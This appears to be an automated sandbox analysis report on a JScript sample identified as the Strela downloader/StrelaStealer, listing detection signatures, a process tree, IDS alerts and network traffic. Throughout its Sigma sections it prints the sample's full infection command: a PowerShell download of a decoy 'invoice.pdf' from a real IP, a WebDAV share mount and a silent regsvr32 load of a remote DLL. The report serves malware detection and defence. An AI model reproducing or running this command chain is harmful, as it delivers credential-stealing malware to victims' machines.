Edit tour

Windows Analysis Report
3041621112067010510.js

Overview

General Information

Sample name:	3041621112067010510.js
Analysis ID:	1590007
MD5:	2214985aa6a9e9b9e2e486ba3ffa1731
SHA1:	b8afe5b1e9278faa1fa067bb403d61f76a6df7cd
SHA256:	52dc6fcc057233632aade5dba93f69eb7f1499d3572fd5703fab1007ed054ce3
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3320 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2248 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2960 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1552,i,575197946732554737,12455436843513113105,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6520 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1948 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2852 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3320	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2248, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2248, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ProcessId: 3320, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1948, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ProcessId: 3320, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2248, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6520, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1948, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2852, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6520, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1948, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3320, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll, ProcessId: 3380, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:25:04.201516+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:25:07.029236+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49713	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:25:04.201516+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49711 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49713 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:25:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: global traffic

TCP traffic: 192.168.2.6:49713 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

